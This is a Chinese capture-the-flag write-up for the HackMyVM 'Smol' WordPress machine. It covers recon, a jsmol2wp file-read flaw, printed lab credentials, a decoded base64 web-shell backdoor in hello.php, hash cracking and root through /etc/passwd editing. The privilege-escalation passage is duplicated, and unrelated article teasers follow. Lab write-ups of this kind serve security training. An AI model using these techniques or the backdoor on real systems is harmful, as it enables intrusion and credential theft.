hackmyvm-Smol

信息收集

┌──(root㉿kali)-[/home/kali]
└─# arp-scan -I eth1 192.168.56.0/24
Interface: eth1, type: EN10MB, MAC: 00:0c:29:34:da:f5, IPv4: 192.168.56.103
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:10       (Unknown: locally administered)
192.168.56.100  08:00:27:eb:ec:71       (Unknown)
192.168.56.110  08:00:27:6a:b5:9b       (Unknown)3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.200 seconds (116.36 hosts/sec). 3 responded

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 192.168.56.110
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-03 03:20 EST
Nmap scan report for www.smol.hmv (192.168.56.110)
Host is up (0.0020s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
|   256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_  256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: AnotherCTF
|_http-generator: WordPress 6.3
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:6A:B5:9B (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelService detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.63 seconds

渗透

访问80端口会重定向到www.smol.hmv

配置一下hosts文件

[外链图片转存中…(img-wLhJUZGs-1742267017316)]

┌──(root㉿LAPTOP-40PQI58C)-[~]
└─# wpscan --url http://www.smol.hmv/ -e u,ap --plugins-detection aggressive
_________________________________________________________________          _______   _____\ \        / /  __ \ / ____|\ \  /\  / /| |__) | (___   ___  __ _ _ __ ®\ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \\  /\  /  | |     ____) | (__| (_| | | | |\/  \/   |_|    |_____/ \___|\__,_|_| |_|WordPress Security Scanner by the WPScan TeamVersion 3.8.27Sponsored by Automattic - https://automattic.com/@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________[+] URL: http://www.smol.hmv/ [192.168.56.110]
[+] Started: Mon Mar  3 17:03:30 2025Interesting Finding(s):[+] Headers| Interesting Entry: Server: Apache/2.4.41 (Ubuntu)| Found By: Headers (Passive Detection)| Confidence: 100%[+] XML-RPC seems to be enabled: http://www.smol.hmv/xmlrpc.php| Found By: Direct Access (Aggressive Detection)| Confidence: 100%| References:|  - http://codex.wordpress.org/XML-RPC_Pingback_API|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/[+] WordPress readme found: http://www.smol.hmv/readme.html| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] Upload directory has listing enabled: http://www.smol.hmv/wp-content/uploads/| Found By: Direct Access (Aggressive Detection)| Confidence: 100%[+] The external WP-Cron seems to be enabled: http://www.smol.hmv/wp-cron.php| Found By: Direct Access (Aggressive Detection)| Confidence: 60%| References:|  - https://www.iplocation.net/defend-wordpress-from-ddos|  - https://github.com/wpscanteam/wpscan/issues/1299[+] WordPress version 6.3 identified (Insecure, released on 2023-08-08).| Found By: Rss Generator (Passive Detection)|  - http://www.smol.hmv/index.php/feed/, <generator>https://wordpress.org/?v=6.3</generator>|  - http://www.smol.hmv/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.3</generator>[+] WordPress theme in use: popularfx| Location: http://www.smol.hmv/wp-content/themes/popularfx/| Last Updated: 2024-11-19T00:00:00.000Z| Readme: http://www.smol.hmv/wp-content/themes/popularfx/readme.txt| [!] The version is out of date, the latest version is 1.2.6| Style URL: http://www.smol.hmv/wp-content/themes/popularfx/style.css?ver=1.2.5| Style Name: PopularFX| Style URI: https://popularfx.com| Description: Lightweight theme to make beautiful websites with Pagelayer. Includes 100s of pre-made templates to ...| Author: Pagelayer| Author URI: https://pagelayer.com|| Found By: Css Style In Homepage (Passive Detection)|| Version: 1.2.5 (80% confidence)| Found By: Style (Passive Detection)|  - http://www.smol.hmv/wp-content/themes/popularfx/style.css?ver=1.2.5, Match: 'Version: 1.2.5'[+] Enumerating All Plugins (via Aggressive Methods)Checking Known Locations - Time: 00:01:14 <==================================> (109325 / 109325) 100.00% Time: 00:01:14
[+] Checking Plugin Versions (via Passive and Aggressive Methods)[i] Plugin(s) Identified:[+] akismet| Location: http://www.smol.hmv/wp-content/plugins/akismet/| Last Updated: 2025-02-14T18:49:00.000Z| Readme: http://www.smol.hmv/wp-content/plugins/akismet/readme.txt| [!] The version is out of date, the latest version is 5.3.7|| Found By: Known Locations (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/akismet/, status: 200|| Version: 5.2 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/akismet/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/akismet/readme.txt[+] jsmol2wp| Location: http://www.smol.hmv/wp-content/plugins/jsmol2wp/| Latest Version: 1.07 (up to date)| Last Updated: 2018-03-09T10:28:00.000Z| Readme: http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt| [!] Directory listing is enabled|| Found By: Known Locations (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/, status: 200|| Version: 1.07 (100% confidence)| Found By: Readme - Stable Tag (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt| Confirmed By: Readme - ChangeLog Section (Aggressive Detection)|  - http://www.smol.hmv/wp-content/plugins/jsmol2wp/readme.txt[+] Enumerating Users (via Passive and Aggressive Methods)Brute Forcing Author IDs - Time: 00:00:00 <==========================================> (10 / 10) 100.00% Time: 00:00:00[i] User(s) Identified:[+] think| Found By: Author Posts - Author Pattern (Passive Detection)| Confirmed By:|  Wp Json Api (Aggressive Detection)|   - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)|  Login Error Messages (Aggressive Detection)[+] wp| Found By: Author Posts - Author Pattern (Passive Detection)| Confirmed By:|  Wp Json Api (Aggressive Detection)|   - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)[+] Jose Mario Llado Marti| Found By: Rss Generator (Passive Detection)[+] wordpress user| Found By: Rss Generator (Passive Detection)[+] admin| Found By: Wp Json Api (Aggressive Detection)|  - http://www.smol.hmv/index.php/wp-json/wp/v2/users/?per_page=100&page=1| Confirmed By:|  Author Id Brute Forcing - Author Pattern (Aggressive Detection)|  Login Error Messages (Aggressive Detection)[+] diego| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] gege| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[+] xavi| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)| Confirmed By: Login Error Messages (Aggressive Detection)[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register[+] Finished: Mon Mar  3 17:04:55 2025
[+] Requests Done: 109398
[+] Cached Requests: 10
[+] Data Sent: 29.374 MB
[+] Data Received: 14.995 MB
[+] Memory used: 489.035 MB
[+] Elapsed time: 00:01:25

根据wpscan 得出的结果我们可以知道

靶机网站的WordPress装有 jsmol2wp这个插件。

这个插件版本号<=1.07有一个CVE

同时还发现网站有admin wpuser think gege diego xavi

这几个用户

我使用文件读取漏洞去读取wp-config.php文件在里面找到了一个数据库账号和密码

/** Database username */
define( 'DB_USER', 'wpuser' );/** Database password */
define( 'DB_PASSWORD', 'kbLSF2Vop#lw3rjDZ629*Z%G' );/** Database hostname */
define( 'DB_HOST', 'localhost' );/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

WordPress网站中同样有一个wpuser用户

然后我就尝试使用这个密码来登录WordPress

[外链图片转存中…(img-hTCGgT6z-1742267017318)]

登录进来以后发现wpuser貌似只是一个普通的用户

没有我想要的编辑插件/主题的源代码的功能

然后暂时我简单的测试了一下文件上传功能没有什么进展之后，我就在这个方向上就没有什么思路了

我又在即将目光放在jsmol2wp的漏洞上

我了解到这个版本的jsmol2wp还存在一个SSRF漏洞

于是我就尝试了一下拿Gopher协议来攻击MySQL数据库从而给网站写木马

很遗憾我没有成功

后来我在一个Webmaster Tasks!!的贴子上发现了一点信息

[外链图片转存中…(img-z4X8owby-1742267017318)]

说要排查存在后面的插件Hello Dolly

┌──(root㉿kali)-[~kali/Desktop]
└─# dirsearch -u "http://www.smol.hmv/" -w SecLists/Discovery/Web-Content/CMS/wp-plugins.fuzz.txt  
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3                                                                                                                    (_||| _) (/_(_|| (_| )                                                                                                                             Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 13370Output File: /home/kali/Desktop/reports/http_www.smol.hmv/__25-03-03_04-29-49.txtTarget: http://www.smol.hmv/[04:29:49] Starting:                                                                                                                                
[04:29:52] 200 -    0B  - /wp-content/plugins/akismet/                      
[04:30:15] 500 -    0B  - /wp-content/plugins/hello.php                     
[04:30:15] 500 -    0B  - /wp-content/plugins/hello.php/

我又对网站目录FUZZ了一遍

发现了hello.php的存在

我再次使用jsmol2wp的漏洞

读取了hello.php的源码

?php
/*** @package Hello_Dolly* @version 1.7.2*/
/*
Plugin Name: Hello Dolly
Plugin URI: http://wordpress.org/plugins/hello-dolly/
Description: This is not just a plugin, it symbolizes the hope and enthusiasm of an entire generation summed up in two words sung most famously by Louis Armstrong: Hello, Dolly. When activated you will randomly see a lyric from <cite>Hello, Dolly</cite> in the upper right of your admin screen on every page.
Author: Matt Mullenweg
Version: 1.7.2
Author URI: http://ma.tt/
*/function hello_dolly_get_lyric() {/** These are the lyrics to Hello Dolly */$lyrics = "Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, take her wrap, fellas
Dolly, never go away again
Hello, Dolly
Well, hello, Dolly
It's so nice to have you back where you belong
You're lookin' swell, Dolly
I can tell, Dolly
You're still glowin', you're still crowin'
You're still goin' strong
I feel the room swayin'
While the band's playin'
One of our old favorite songs from way back when
So, golly, gee, fellas
Have a little faith in me, fellas
Dolly, never go away
Promise, you'll never go away
Dolly'll never go away again";// Here we split it into lines.$lyrics = explode( "\n", $lyrics );// And then randomly choose a line.return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] );
}// This just echoes the chosen line, we'll position it later.
function hello_dolly() {eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));$chosen = hello_dolly_get_lyric();$lang   = '';if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) {$lang = ' lang="en"';}printf('<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>',__( 'Quote from Hello Dolly song, by Jerry Herman:' ),$lang,$chosen);
}// Now we set that function up to execute when the admin_notices action is called.
add_action( 'admin_notices', 'hello_dolly' );// We need some CSS to position the paragraph.
function dolly_css() {echo "<style type='text/css'>#dolly {float: right;padding: 5px 10px;margin: 0;font-size: 12px;line-height: 1.6666;}.rtl #dolly {float: left;}.block-editor-page #dolly {display: none;}@media screen and (max-width: 782px) {#dolly,.rtl #dolly {float: none;padding-left: 0;padding-right: 0;}}</style>";
}add_action( 'admin_head', 'dolly_css' );

在hello_dolly()函数中后一个后门

eval(base64_decode('CiBpZiAoaXNzZXQoJF9HRVRbIlwxNDNcMTU1XHg2NCJdKSkgeyBzeXN0ZW0oJF9HRVRbIlwxNDNceDZkXDE0NCJdKTsgfSA='));

base64解码之后就是

if (isset($_GET["cmd"])) { system($_GET["cmd"]); }

但是他的触发条件是add_action( 'admin_notices', 'hello_dolly' );

当触发admin_notices的时候就会执行这个函数

我们使用 wpuser用户进入后台的时候刚好有一个admin_notices

[外链图片转存中…(img-lZEAE9fX-1742267017318)]

尝试在这个页面执行命令

执行成功

[外链图片转存中…(img-by9cVx0a-1742267017318)]

然后我上传了一个shell.php文件用于反弹shell

一个sql.php用来从数据库中查询出所用的用户名与密码

[外链图片转存中…(img-TUHyCg1F-1742267017319)]

┌──(root㉿LAPTOP-40PQI58C)-[~/Desktop]
└─# john passwd --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 6 password hashes with 6 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sandiegocalifornia (?)
hero_gege@hotmail.com (?)
2g 0:00:19:33 DONE (2025-03-02 21:39) 0.001704g/s 12226p/s 56527c/s 56527C/s !!!@@@!!!..*7¡Vamos!
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed.

破解出了diego与gege的密码

同时这个密码也是diego的ssh密码

www-data@smol:/var/www/wordpress/wp-admin$ whoami
whoami
www-data
www-data@smol:/var/www/wordpress/wp-admin$ su diego
su diego
Password: sandiegocalifornia
whoami
diego

user‘s flag就在diego的home目录下

我尝试了使用密码登录ssh

但是diego gege think xavi

这四个用户都被禁止远程用密码登录

我在diego的home目录下面写了一个ssh 公钥然后成功用ssh登录进去了

┌──(kali㉿kali)-[~]
└─$ ssh diego@192.168.56.110 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Mon 03 Mar 2025 05:48:15 PM UTCSystem load:  0.01              Processes:                194Usage of /:   57.2% of 9.75GB   Users logged in:          0Memory usage: 32%               IPv4 address for enp0s17: 192.168.56.110Swap usage:   0%Expanded Security Maintenance for Applications is not enabled.162 updates can be applied immediately.
125 of these updates are standard security updates.
To see these additional updates run: apt list --upgradableEnable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Sun Mar  2 21:58:36 2025 from 192.168.56.103
diego@smol:~$ whoami
diego
diego@smol:~$

diego gege think xavi这个四个用户都在一个组里面 可以互相访问各自的home目录

diego@smol:/home$ ls -al
total 24
drwxr-xr-x  6 root  root     4096 Aug 16  2023 .
drwxr-xr-x 18 root  root     4096 Mar 29  2024 ..
drwxr-x---  4 diego internal 4096 Mar  2 22:19 diego
drwxr-x---  7 gege  internal 4096 Mar  2 22:45 gege
drwxr-x---  5 think internal 4096 Jan 12  2024 think
drwxr-x---  2 xavi  internal 4096 Aug 18  2023 xavi
diego@smol:/home$

think用户的home目录有一个.ssh目录

diego@smol:/home/think$ ls -al
total 32
drwxr-x--- 5 think internal 4096 Jan 12  2024 .
drwxr-xr-x 6 root  root     4096 Aug 16  2023 ..
lrwxrwxrwx 1 root  root        9 Jun 21  2023 .bash_history -> /dev/null
-rw-r--r-- 1 think think     220 Jun  2  2023 .bash_logout
-rw-r--r-- 1 think think    3771 Jun  2  2023 .bashrc
drwx------ 2 think think    4096 Jan 12  2024 .cache
drwx------ 3 think think    4096 Aug 18  2023 .gnupg
-rw-r--r-- 1 think think     807 Jun  2  2023 .profile
drwxr-xr-x 2 think think    4096 Jun 21  2023 .ssh
lrwxrwxrwx 1 root  root        9 Aug 18  2023 .viminfo -> /dev/null
diego@smol:/home/think$ ls -al .ssh/
total 20
drwxr-xr-x 2 think think    4096 Jun 21  2023 .
drwxr-x--- 5 think internal 4096 Jan 12  2024 ..
-rwxr-xr-x 1 think think     572 Jun 21  2023 authorized_keys
-rwxr-xr-x 1 think think    2602 Jun 21  2023 id_rsa
-rwxr-xr-x 1 think think     572 Jun 21  2023 id_rsa.pub
diego@smol:/home/think$

diego用户对他有r权限

然后我就读取了think用户的私钥

然后ssh远程登录think

┌──(root㉿kali)-[/home/kali]
└─# ssh -i id_rsa think@192.168.56.110
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-156-generic x86_64)* Documentation:  https://help.ubuntu.com* Management:     https://landscape.canonical.com* Support:        https://ubuntu.com/advantageSystem information as of Mon 03 Mar 2025 05:52:14 PM UTCSystem load:  0.02              Processes:                203Usage of /:   57.2% of 9.75GB   Users logged in:          1Memory usage: 33%               IPv4 address for enp0s17: 192.168.56.110Swap usage:   0%Expanded Security Maintenance for Applications is not enabled.162 updates can be applied immediately.
125 of these updates are standard security updates.
To see these additional updates run: apt list --upgradableEnable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro statusThe list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settingsLast login: Mon Mar  3 15:54:04 2025 from 192.168.56.103
think@smol:~$

成功登录但是think 执行sudo -l的时候需要输入密码

我不知道think的密码

当我没有什么思路的时候我无意间使用think的身份执行了一次su gege的命令

发现无需输入密码成功切换到gege用户身份

think@smol:~$ su gege
gege@smol:/home/think$ whoami
gege
gege@smol:/home/think$

gege用户的home目录下有一个wordpress.old.zip文件

但是解压它需要密码

gege@smol:~$ ls
wordpress.old.zip
gege@smol:~$ ls
wordpress.old.zip
gege@smol:~$ unzip wordpress.old.zip 
Archive:  wordpress.old.zipcreating: wordpress.old/
[wordpress.old.zip] wordpress.old/wp-config.php password:

我复制一份到到我的kali上面 使用john破解

┌──(root㉿kali)-[/home/kali/Desktop]
└─# john wordpress  --show
wordpress.old.zip:hero_gege@hotmail.com::wordpress.old.zip:wordpress.old/wp-content/plugins/akismet/index.php, wordpress.old/wp-content/index.php, wordpress.old/wp-content/plugins/index.php, wordpress.old/wp-content/themes/index.php, wordpress.old/wp-includes/blocks/spacer/style.min.css, wordpress.old/wp-includes/blocks/spacer/style-rtl.min.css, wordpress.old/wp-includes/blocks/spacer/style.css, wordpress.old/wp-includes/blocks/spacer/style-rtl.css:wordpress.old.zip1 password hash cracked, 0 left

将其解压之后。

在它的wp-config文件中发现了xavi的密码

[外链图片转存中…(img-Mb1gKInf-1742267017319)]

提权

su切换到xavi用户后，执行sudo -l

gege@smol:~/wordpress.old$ su xavi
Password: 
xavi@smol:/home/gege/wordpress.old$ whoami
xavi
xavi@smol:/home/gege/wordpress.old$ sudo -l
[sudo] password for xavi: 
Matching Defaults entries for xavi on smol:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser xavi may run the following commands on smol:(ALL : ALL) /usr/bin/vi /etc/passwd
xavi@smol:/home/gege/wordpress.old$

可以编辑/etc/passwd

执行openssl passwd -1 -salt Yliken 123456生成一段hasg

然后将其写入passwd

[外链图片转存中…(img-T4i3Cbto-1742267017320)]

然后su Yliken

xavi@smol:/home/gege/wordpress.old$ su Yliken
Password: 
root@smol:/home/gege/wordpress.old$ whoami
root
root@smol:/home/gege/wordpress.old$ id
uid=0(root) gid=0(root) groups=0(root)
root@smol:/home/gege/wordpress.old$

/etc/passwd

执行openssl passwd -1 -salt Yliken 123456生成一段hasg

然后将其写入passwd

image-20250303181029726

然后su Yliken

xavi@smol:/home/gege/wordpress.old$ su Yliken
Password: 
root@smol:/home/gege/wordpress.old$ whoami
root
root@smol:/home/gege/wordpress.old$ id
uid=0(root) gid=0(root) groups=0(root)
root@smol:/home/gege/wordpress.old$

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.rhkb.cn/news/35999.html

如若内容造成侵权/违法违规/事实不符，请联系长河编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

深度学习项目--基于DenseNet网络的“乳腺癌图像识别”，准确率90%+，pytorch复现

深度学习项目--基于DenseNet网络的“乳腺癌图像识别”，准确率90%+，pytorch复现

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 前言 如果说最经典的神经网络&#xff0c;ResNet肯定是一个&#xff0c;从ResNet发布后&#xff0c;很多人做了修改&#xff0c;denseNet网络无疑是最成功的…
阅读更多...
基于x11vnc的ubuntu远程桌面

基于x11vnc的ubuntu远程桌面

1、安装VNC服务 sudo apt install x11vnc -y2、创建连接密码 sudo x11vnc -storepasswd3、安装lightdm服务 x11vnc 在 默认的 GDM3 中不起作用&#xff0c;因此需要使用 lightdm 桌面管理环境 sudo apt install lightdm -y切换至lightdm&#xff0c;上一步已经切换则跳过该…
阅读更多...
Git 常用命令完全指南：从入门到高效协作

Git 常用命令完全指南：从入门到高效协作

文章需要结构清晰&#xff0c;涵盖从入门到进阶的常用命令&#xff0c;结合实例和注意事项&#xff0c;帮助用户快速掌握Git的核心功能&#xff0c;并应用到实际项目中 一、仓库初始化与基础操作 1. 创建与克隆仓库 # 初始化本地仓库 git init# 克隆远程仓库&#xff08;SSH方…
阅读更多...
【运维自动化-标准运维】如何实现一个最简单的流程编排

【运维自动化-标准运维】如何实现一个最简单的流程编排

流程编排是标准运维最核心的功能&#xff0c;通过将不同功能的原子插件在画布上可视化的拖拽编排&#xff0c;可以实现各种不同场景的跨系统工作流。标准运维流程 根据实际运维操作场景梳理出来的操作步骤&#xff0c;通过不同的流转逻辑&#xff08;并行、分支、条件并行&…
阅读更多...
【DeepSeek】HTML Api调用（支持V3和 R1，多轮对话、流式输出、对话保存、markdown格式支持）

【DeepSeek】HTML Api调用（支持V3和 R1，多轮对话、流式输出、对话保存、markdown格式支持）

文章目录 一、项目结构二、功能支持三、使用方法四、待改进五、参数优化 ☘️ 项目地址&#xff1a;https://github.com/CQUPTLei/DeepSeek_HTML/tree/master 对话截图&#xff1a; 一、项目结构 C:\USERS\14134\DESKTOP\DEEPSEEK │ .gitignore │ DeepSeek.html # 所…
阅读更多...
烽火HG680-KB_海思HI3798MV310_安卓9.0_U盘强刷固件包及注意点说明

烽火HG680-KB_海思HI3798MV310_安卓9.0_U盘强刷固件包及注意点说明

之前发布过这个固件包&#xff0c;关于烽火HG680-KA&#xff0f;HG680-KB_海思HI3798MV310_安卓9.0_U盘强刷固件包详细说明一下&#xff0c;汇总总结一些常遇到的情况&#xff0c;这次固件会分开发布&#xff0c;以免混淆。 上一个帖子地址&#xff1a;烽火HG680-KA&#xff0…
阅读更多...
蓝桥杯备赛(基础语法4）

蓝桥杯备赛(基础语法4）

冒泡排序 冒泡排序的思想 冒泡排序的思想是每次将最大的一下一下运到最右边&#xff0c;然后将最右边这个确定下来。再来确定第二大的&#xff0c;再确定第三大的... 对于数组 a [ ] ,具体的来说&#xff0c;每次确定操作就是从左往右扫描&#xff0c;如果 a [ i ] > a [ …
阅读更多...
【算法】力扣 713题：乘积小于 K 的子数组之深入思考

【算法】力扣 713题：乘积小于 K 的子数组之深入思考

文章目录 前言题目&#xff1a;乘积小于 K 的子数组参考思路方法一&#xff1a;滑动窗口方法二&#xff1a;二分查找 参考题解方法一&#xff1a;滑动窗口解法方法二&#xff1a;二分查找解法 深入思考浮点精度&#xff1f;right - left 1&#xff1f;二分法&#xff1f;哈希优…
阅读更多...
超声重建，3D重建 超声三维重建，三维可视化平台 UR 3D Reconstruction

超声重建，3D重建 超声三维重建，三维可视化平台 UR 3D Reconstruction

1. 超声波3D重建技术的实现方法与算法 技术概述 3D超声重建是一种基于2D超声图像生成3D体积数据的技术&#xff0c;广泛应用于医学影像领域。通过重建和可视化三维结构&#xff0c;3D超声能够显著提高诊断精度和效率&#xff0c;同时减少医生的脑力负担。本技术文档将详细阐述…
阅读更多...
Docker 部署 Graylog 日志管理系统

Docker 部署 Graylog 日志管理系统

Docker 部署 Graylog 日志管理系统 前言一、准备工作二、Docker Compose 配置三、启动 Graylog 服务四、访问 Graylog Web 界面总结 前言 Graylog 是一个开源的日志管理平台&#xff0c;专为实时日志收集、分析和可视化设计。它支持强大的搜索功能&#xff0c;并且与 Elastics…
阅读更多...
【图论】并查集的学习和使用

【图论】并查集的学习和使用

目录 并查集是什么&#xff1f; 举个例子 组成 父亲数组&#xff1a; find函数&#xff1a; union函数&#xff1a; 代码实现&#xff1a; fa[] 初始化code: find code&#xff1a; 递归实现: 非递归实现: union code : 画图模拟&#xff1a; 路径压缩&#xff1a…
阅读更多...
FPGA-流水灯

FPGA-流水灯

Quartus中使用Verilog实现 根据之前所学内容&#xff0c;打开Quartus 软件&#xff0c;新建FPGA项目文件&#xff0c;建立好空项目过后&#xff0c;选择Verilog HDL File&#xff0c;因为我们要使用Verilog代码实现仿真。 详细操作可参考往期博客&#xff1a; FPGA 实验报告&a…
阅读更多...
React19源码系列之createRoot的执行流程是怎么的？

React19源码系列之createRoot的执行流程是怎么的？

2024年12月5日&#xff0c;react发布了react19版本。后面一段时间都将学习它的源码&#xff0c;并着手记录。 react官网&#xff1a;react19新特性 https://react.dev/blog/2024/12/05/react-19 在用vite创建react项目的使用&#xff0c;main.tsx主文件都会有以下代码。 //i…
阅读更多...
全网首创/纯Qt/C++实现国标GB28181服务/实时视频/云台控制/预置位/录像回放和下载/事件订阅/语音对讲

全网首创/纯Qt/C++实现国标GB28181服务/实时视频/云台控制/预置位/录像回放和下载/事件订阅/语音对讲

一、前言说明 用纯Qt来实现这个GB28181的想法很久了&#xff0c;具体可以追溯到2014年&#xff0c;一晃十年都过去了&#xff0c;总算是整体的框架和逻辑都打通了&#xff0c;总归还是杂七杂八的事情多&#xff0c;无法静下心来研究具体的协议&#xff0c;最开始初步了解协议后…
阅读更多...
Qt 实操记录:打造自己的“ QQ 音乐播放器”

Qt 实操记录:打造自己的“ QQ 音乐播放器”

目录 一.界面设计1.成品界面分析2.head界面实现3.body界面实现4.主界面设置(1).设置无标题栏与阴影效果(2).重写鼠标事件实现拖拽 二.自定义控件1.BtFrom界面设计2.推荐页面设计3.recBox页面设计4.recBoxItem页面设计(1).eventFilter介绍和使用(2).QJsonObject介绍和使用(3).向…
阅读更多...
如何打造安全稳定的亚马逊采购测评自养号下单系统？

如何打造安全稳定的亚马逊采购测评自养号下单系统？

在当今的电商领域&#xff0c;亚马逊作为全球领先的在线购物平台&#xff0c;其商品种类繁多&#xff0c;用户基数庞大&#xff0c;成为了众多商家和消费者的首选。而对于一些需要进行商品测评或市场调研的用户来说&#xff0c;拥有一个稳定、安全的亚马逊账号体系显得尤为重要…
阅读更多...
Python文字识别OCR

Python文字识别OCR

一.引言 文字识别&#xff0c;也称为光学字符识别&#xff08;Optical Character Recognition, OCR&#xff09;&#xff0c;是一种将不同形式的文档&#xff08;如扫描的纸质文档、PDF文件或数字相机拍摄的图片&#xff09;中的文字转换成可编辑和可搜索的数据的技术。随着技…
阅读更多...
如何在 Github 上获得 1000 star？

如何在 Github 上获得 1000 star？

作为程序员&#xff0c;Github 是第一个绕不开的网站。我们每天都在上面享受着开源带来的便利&#xff0c;我相信很多同学也想自己做一个开源项目&#xff0c;从而获得大家的关注。然而&#xff0c;理想很丰满&#xff0c;现实却是开发了很久的项目仍然无人问津。 最近&#x…
阅读更多...
汽车机械钥匙升级一键启动的优点

汽车机械钥匙升级一键启动的优点

汽车机械钥匙升级一键启动的优点主要包括&#xff1a; 便捷性&#xff1a;一键启动功能的引入极大地提升了用车便捷性。车主无需翻找钥匙&#xff0c;只需在车辆感应范围内轻触启动键&#xff0c;即可轻松发动汽车。 安全性&#xff1a;移动管家专车专用一键启动系统配备了防…
阅读更多...
［QT］深入理解Qt中的信号与槽机制

［QT］深入理解Qt中的信号与槽机制

文章目录 信号与槽1. 信号和槽概述信号的本质槽的本质说明 2. 信号和槽的使用2.1 连接信号和槽2.2 查看内置信号和槽2.3 通过 Qt Creator 生成信号槽代码 3. 自定义信号和槽3.1 基本语法3.2 带参数的信号和槽**示例1&#xff1a;重载信号槽****示例2&#xff1a;信号槽参数列表…
阅读更多...
最新文章
推荐文章

Copyright @ 2022~2023